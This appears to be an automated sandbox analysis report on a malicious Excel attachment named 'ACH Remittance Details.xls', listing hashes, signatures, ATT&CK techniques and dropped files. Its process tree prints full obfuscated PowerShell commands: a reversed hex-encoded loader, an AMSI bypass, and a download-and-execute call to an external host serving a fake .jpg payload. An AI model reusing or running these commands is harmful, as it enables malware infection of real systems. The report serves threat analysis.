Analysis

  • max time kernel
    150s
  • max time network
    91s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    18-01-2021 18:23

General

  • Target

    ACH Remittance Details.xls

  • Size

    35KB

  • MD5

    b3931a02644f28eaee7711d36333eece

  • SHA1

    72e0ab0c9b992f94db5ae45022df57f1522b9895

  • SHA256

    d36d950e9c94564bcb37f058d4ba3636281a273fd59d7eac0f3dc8fa215b5590

  • SHA512

    5202adec9629fc94eaa70d2e6d62212a9ebde57e9d7e89709f33efd4fd54ab8f44c699fb9c4553b8b640273305ce73a0aece8a4935fef9c67c0d4c60ffd4da63

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 42 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\ACH Remittance Details.xls"
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1924
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $gh47gh7='92%72%37%26%67%E2%46%16%07%56%47%F6%E6%C5%72%02%B2%14%45%14%44%05%05%14%A3%67%E6%56%42%82%37%37%56%36%F6%27%07%D2%47%27%16%47%37%02%B3%85%06%54%06%94%C7%72%92%72%72%37%26%67%E2%46%16%07%56%47%F6%E6%C5%72%72%B2%14%45%14%44%05%05%14%A3%67%E6%56%42%C2%72%72%37%26%67%E2%47%E6%56%96%C6%34%02%46%56%47%36%56%47%F6%27%05%F2%23%76%E6%96%B6%F2%D6%F6%36%E2%37%27%56%76%16%E6%16%D6%97%47%27%56%07%F6%27%07%16%D6%16%26%16%C6%16%F2%F2%A3%07%47%47%86%72%72%82%56%72%B2%72%C6%96%72%B2%72%64%72%B2%72%46%72%B2%72%16%F6%72%B2%72%C6%E6%72%B2%72%77%F6%72%B2%72%44%E2%72%B2%72%92%47%E6%56%72%B2%72%96%C6%72%B2%72%34%72%B2%72%26%56%72%B2%72%75%72%B2%72%E2%47%72%B2%72%56%E4%72%02%B2%72%02%47%36%72%B2%72%56%A6%72%B2%72%26%F4%72%B2%72%D2%77%72%B2%72%56%E4%82%72';$text = $gh47gh7.ToCharArray();[Array]::Reverse($text);$tu=-join $text;$jm=$tu.Split('%') | forEach {[char]([convert]::toint16($_,16))};$jm -join ''|I`E`X
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1744
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\notepad.vbs"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2000
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-PSReadlineOption -HistorySaveStyle SaveNothing;$lFeLwjZnnuqoqqmcWTtn='64%6F%20%7B%24%70%69%6E%67%20%3D%20%74%65%73%74%2D%63%6F%6E%6E%65%63%74%69%6F%6E%20%2D%63%6F%6D%70%20%67%6F%6F%67%6C%65%2E%63%6F%6D%20%2D%63%6F%75%6E%74%20%31%20%2D%51%75%69%65%74%7D%20%75%6E%74%69%6C%20%28%24%70%69%6E%67%29%3B%24%74%35%36%66%67%20%3D%20%5B%45%6E%75%6D%5D%3A%3A%54%6F%4F%62%6A%65%63%74%28%5B%53%79%73%74%65%6D%2E%4E%65%74%2E%53%65%63%75%72%69%74%79%50%72%6F%74%6F%63%6F%6C%54%79%70%65%5D%2C%20%33%30%37%32%29%3B%5B%53%79%73%74%65%6D%2E%4E%65%74%2E%53%65%72%76%69%63%65%50%6F%69%6E%74%4D%61%6E%61%67%65%72%5D%3A%3A%53%65%63%75%72%69%74%79%50%72%6F%74%6F%63%6F%6C%20%3D%20%24%74%35%36%66%67%3B%5B%52%65%66%5D%2E%41%73%73%65%6D%62%6C%79%2E%47%65%74%54%79%70%65%28%27%53%79%27%2B%27%73%74%65%6D%2E%27%2B%27%4D%61%6E%61%27%2B%27%67%65%6D%27%2B%27%65%6E%74%27%2B%27%2E%41%75%74%6F%6D%27%2B%27%61%74%69%6F%27%2B%27%6E%2E%41%27%2B%27%6D%27%2B%27%73%69%27%2B%27%55%74%69%6C%73%27%29%2E%47%65%74%46%69%65%6C%64%28%27%61%27%2B%27%6D%73%27%2B%27%69%49%27%2B%27%6E%69%74%46%61%27%2B%27%69%6C%65%64%27%2C%27%4E%6F%6E%40%40%40%27%2E%72%65%70%6C%61%63%65%28%27%40%40%40%27%2C%27%50%75%62%27%29%2B%27%6C%69%63%2C%53%27%2B%27%74%61%74%69%63%27%29%2E%53%65%74%56%61%6C%75%65%28%24%6E%75%6C%6C%2C%24%74%72%75%65%29%3B%24%74%74%79%3D%27%28%4E%65%77%2D%27%2B%27%4F%62%6A%65%27%2B%27%63%74%20%4E%65%27%2B%27%74%2E%57%65%27%2B%27%62%43%6C%69%27%2B%27%65%6E%74%29%27%7C%49%60%45%60%58%3B%5B%76%6F%69%64%5D%20%5B%53%79%73%74%65%6D%2E%52%65%66%6C%65%63%74%69%6F%6E%2E%41%73%73%65%6D%62%6C%79%5D%3A%3A%4C%6F%61%64%57%69%74%68%50%61%72%74%69%61%6C%4E%61%6D%65%28%27%4D%69%63%72%6F%73%6F%66%74%2E%56%69%73%75%61%6C%42%61%73%69%63%27%29%3B%24%6D%76%3D%20%5B%4D%69%63%72%6F%73%6F%66%74%2E%56%69%73%75%61%6C%42%61%73%69%63%2E%49%6E%74%65%72%61%63%74%69%6F%6E%5D%3A%3A%43%61%6C%6C%42%79%6E%61%6D%65%28%24%74%74%79%2C%27%44%6F%77%6E%6C%6F%61%64%53%74%72%69%6E%67%27%2C%5B%4D%69%63%72%6F%73%6F%66%74%2E%56%69%73%75%61%6C%42%61%73%69%63%2E%43%61%6C%6C%54%79%70%65%5D%3A%3A%4D%65%74%68%6F%64%2C%27%68%74%74%70%73%3A%2F%2F%61%6C%61%62%61%6D%61%70%72%6F%70%65%72%74%79%6D%61%6E%61%67%65%72%73%2E%63%6F%6D%2F%6B%69%6E%67%2F%66%6F%6C%64%65%72%2F%41%74%74%61%63%6B%2E%6A%70%67%27%29%3B%24%72%37%38%66%64%30%30%30%73%64%3D%20%24%6D%76%20%2D%73%70%6C%69%74%20%27%25%27%20%7C%46%6F%72%45%61%63%68%2D%4F%62%6A%65%63%74%20%7B%5B%63%68%61%72%5D%5B%62%79%74%65%5D%22%30%78%24%5F%22%7D%3B%24%79%35%6A%68%36%32%64%66%30%3D%20%24%72%37%38%66%64%30%30%30%73%64%20%2D%6A%6F%69%6E%20%27%27%7C%49%60%45%60%58';$DFG45DFG0=$lFeLwjZnnuqoqqmcWTtn.Split('%') | forEach {[char]([Convert]::toint16($_,16))};$DFG45DFG0 -join ''|& (-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])}))
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1600
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c copy "C:\Users\Admin\AppData\Roaming\notepad.vbs" "C:\Users\Admin\AppData\Local" /Y
          4⤵
            PID:684

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3bf4f350-86fe-486e-8b87-41ab96d0ad9c
      MD5

      b6d38f250ccc9003dd70efd3b778117f

      SHA1

      d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a

      SHA256

      4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265

      SHA512

      67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4408bb97-19ee-4815-b02c-5a0939dddad8
      MD5

      df44874327d79bd75e4264cb8dc01811

      SHA1

      1396b06debed65ea93c24998d244edebd3c0209d

      SHA256

      55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181

      SHA512

      95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_644b5728-e9b5-45ab-9104-7136ec814422
      MD5

      be4d72095faf84233ac17b94744f7084

      SHA1

      cc78ce5b9c57573bd214a8f423ee622b00ebb1ec

      SHA256

      b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc

      SHA512

      43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6532a425-51ae-4577-837f-c6e09d9fcfcf
      MD5

      75a8da7754349b38d64c87c938545b1b

      SHA1

      5c28c257d51f1c1587e29164cc03ea880c21b417

      SHA256

      bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96

      SHA512

      798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_69670b6c-d49a-42a9-993a-10d18807f7c6
      MD5

      5e3c7184a75d42dda1a83606a45001d8

      SHA1

      94ca15637721d88f30eb4b6220b805c5be0360ed

      SHA256

      8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59

      SHA512

      fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7f45a795-9723-4ae3-b7ea-79ea7f92b87a
      MD5

      a725bb9fafcf91f3c6b7861a2bde6db2

      SHA1

      8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

      SHA256

      51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

      SHA512

      1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_aacd219d-c7ba-43ff-a67c-9ddc2f632d63
      MD5

      597009ea0430a463753e0f5b1d1a249e

      SHA1

      4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62

      SHA256

      3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d

      SHA512

      5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e9f9468a-8cbd-4472-b808-e8b3772f4134
      MD5

      02ff38ac870de39782aeee04d7b48231

      SHA1

      0390d39fa216c9b0ecdb38238304e518fb2b5095

      SHA256

      fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

      SHA512

      24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
      MD5

      152820b7d903e0e93106a746e263f18e

      SHA1

      eb59e52ab150ba6766cc3cc0bcdce3f2e2685f0e

      SHA256

      eb5f54caabaddfeea5e27551576b6963c18232fa9eb0fe4683598185fb33d00b

      SHA512

      4e6967501f9501c9c2f1491ccb900557a45f4c7400d9ceff824a206133e9151487cb9f138e5b59686a6a6fbe2fa06a8e44242352974a480b943c0138e6fe1189

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
      MD5

      89dec738ba5a2dc73570e7debaab7e2c

      SHA1

      a0159491e3727de35949637b1b9c95a16e412f3a

      SHA256

      1e40fd5692d98dbb5328afa0bd5695e0079af700054f4ce705ad678ec6cdc245

      SHA512

      4255048e8cea26210ec13f1c5a803917bedb7f0c320568f6483219dfae9c318921d8895eef3cf18611524e77ff43b8fd064863184174dc6520547424d9b9a1fc

    • C:\Users\Admin\AppData\Roaming\notepad.vbs
      MD5

      7c2461575cefe582992751922a989015

      SHA1

      9fbe120ebe0a97597498ccb9b73754b9f02933e8

      SHA256

      f3ea24d2f5b3b3e13a9d7c4a57e919c83227a48e52e02ea0765e429552a3f7be

      SHA512

      43c3fc5a12ddf32ccef5cb7e0ccd9dedb913baa0f6247d1a6b7758750278f90a42fe2b81a87d75453f915cbb71bccf5a07599c57df54a72fde14b155b0dceb8c

    • memory/684-36-0x0000000000000000-mapping.dmp
    • memory/1600-59-0x00000000057A0000-0x00000000057A1000-memory.dmp
      Filesize

      4KB

    • memory/1600-73-0x000000007EF30000-0x000000007EF31000-memory.dmp
      Filesize

      4KB

    • memory/1600-43-0x0000000005200000-0x0000000005201000-memory.dmp
      Filesize

      4KB

    • memory/1600-71-0x00000000058B0000-0x00000000058B1000-memory.dmp
      Filesize

      4KB

    • memory/1600-72-0x00000000058C0000-0x00000000058C1000-memory.dmp
      Filesize

      4KB

    • memory/1600-46-0x00000000046E2000-0x00000000046E3000-memory.dmp
      Filesize

      4KB

    • memory/1600-45-0x00000000046E0000-0x00000000046E1000-memory.dmp
      Filesize

      4KB

    • memory/1600-56-0x0000000005710000-0x0000000005711000-memory.dmp
      Filesize

      4KB

    • memory/1600-35-0x0000000000000000-mapping.dmp
    • memory/1600-74-0x00000000065B0000-0x00000000065B1000-memory.dmp
      Filesize

      4KB

    • memory/1600-44-0x0000000005300000-0x0000000005301000-memory.dmp
      Filesize

      4KB

    • memory/1600-75-0x0000000006680000-0x0000000006681000-memory.dmp
      Filesize

      4KB

    • memory/1600-40-0x000000006BF80000-0x000000006C66E000-memory.dmp
      Filesize

      6.9MB

    • memory/1600-42-0x0000000004720000-0x0000000004721000-memory.dmp
      Filesize

      4KB

    • memory/1600-41-0x00000000021B0000-0x00000000021B1000-memory.dmp
      Filesize

      4KB

    • memory/1744-13-0x0000000004960000-0x0000000004961000-memory.dmp
      Filesize

      4KB

    • memory/1744-9-0x0000000004B90000-0x0000000004B91000-memory.dmp
      Filesize

      4KB

    • memory/1744-5-0x0000000000000000-mapping.dmp
    • memory/1744-31-0x00000000064B0000-0x00000000064B1000-memory.dmp
      Filesize

      4KB

    • memory/1744-30-0x0000000006380000-0x0000000006381000-memory.dmp
      Filesize

      4KB

    • memory/1744-23-0x0000000006420000-0x0000000006421000-memory.dmp
      Filesize

      4KB

    • memory/1744-22-0x000000007EF30000-0x000000007EF31000-memory.dmp
      Filesize

      4KB

    • memory/1744-21-0x0000000006210000-0x0000000006211000-memory.dmp
      Filesize

      4KB

    • memory/1744-16-0x00000000060E0000-0x00000000060E1000-memory.dmp
      Filesize

      4KB

    • memory/1744-6-0x0000000075AE1000-0x0000000075AE3000-memory.dmp
      Filesize

      8KB

    • memory/1744-12-0x0000000004B52000-0x0000000004B53000-memory.dmp
      Filesize

      4KB

    • memory/1744-11-0x0000000004B50000-0x0000000004B51000-memory.dmp
      Filesize

      4KB

    • memory/1744-10-0x0000000002270000-0x0000000002271000-memory.dmp
      Filesize

      4KB

    • memory/1744-7-0x000000006C1C0000-0x000000006C8AE000-memory.dmp
      Filesize

      6.9MB

    • memory/1744-8-0x0000000000520000-0x0000000000521000-memory.dmp
      Filesize

      4KB

    • memory/1924-2-0x000000002FEE1000-0x000000002FEE4000-memory.dmp
      Filesize

      12KB

    • memory/1924-4-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1924-3-0x0000000071821000-0x0000000071823000-memory.dmp
      Filesize

      8KB

    • memory/2000-38-0x00000000025A0000-0x00000000025A4000-memory.dmp
      Filesize

      16KB

    • memory/2000-32-0x0000000000000000-mapping.dmp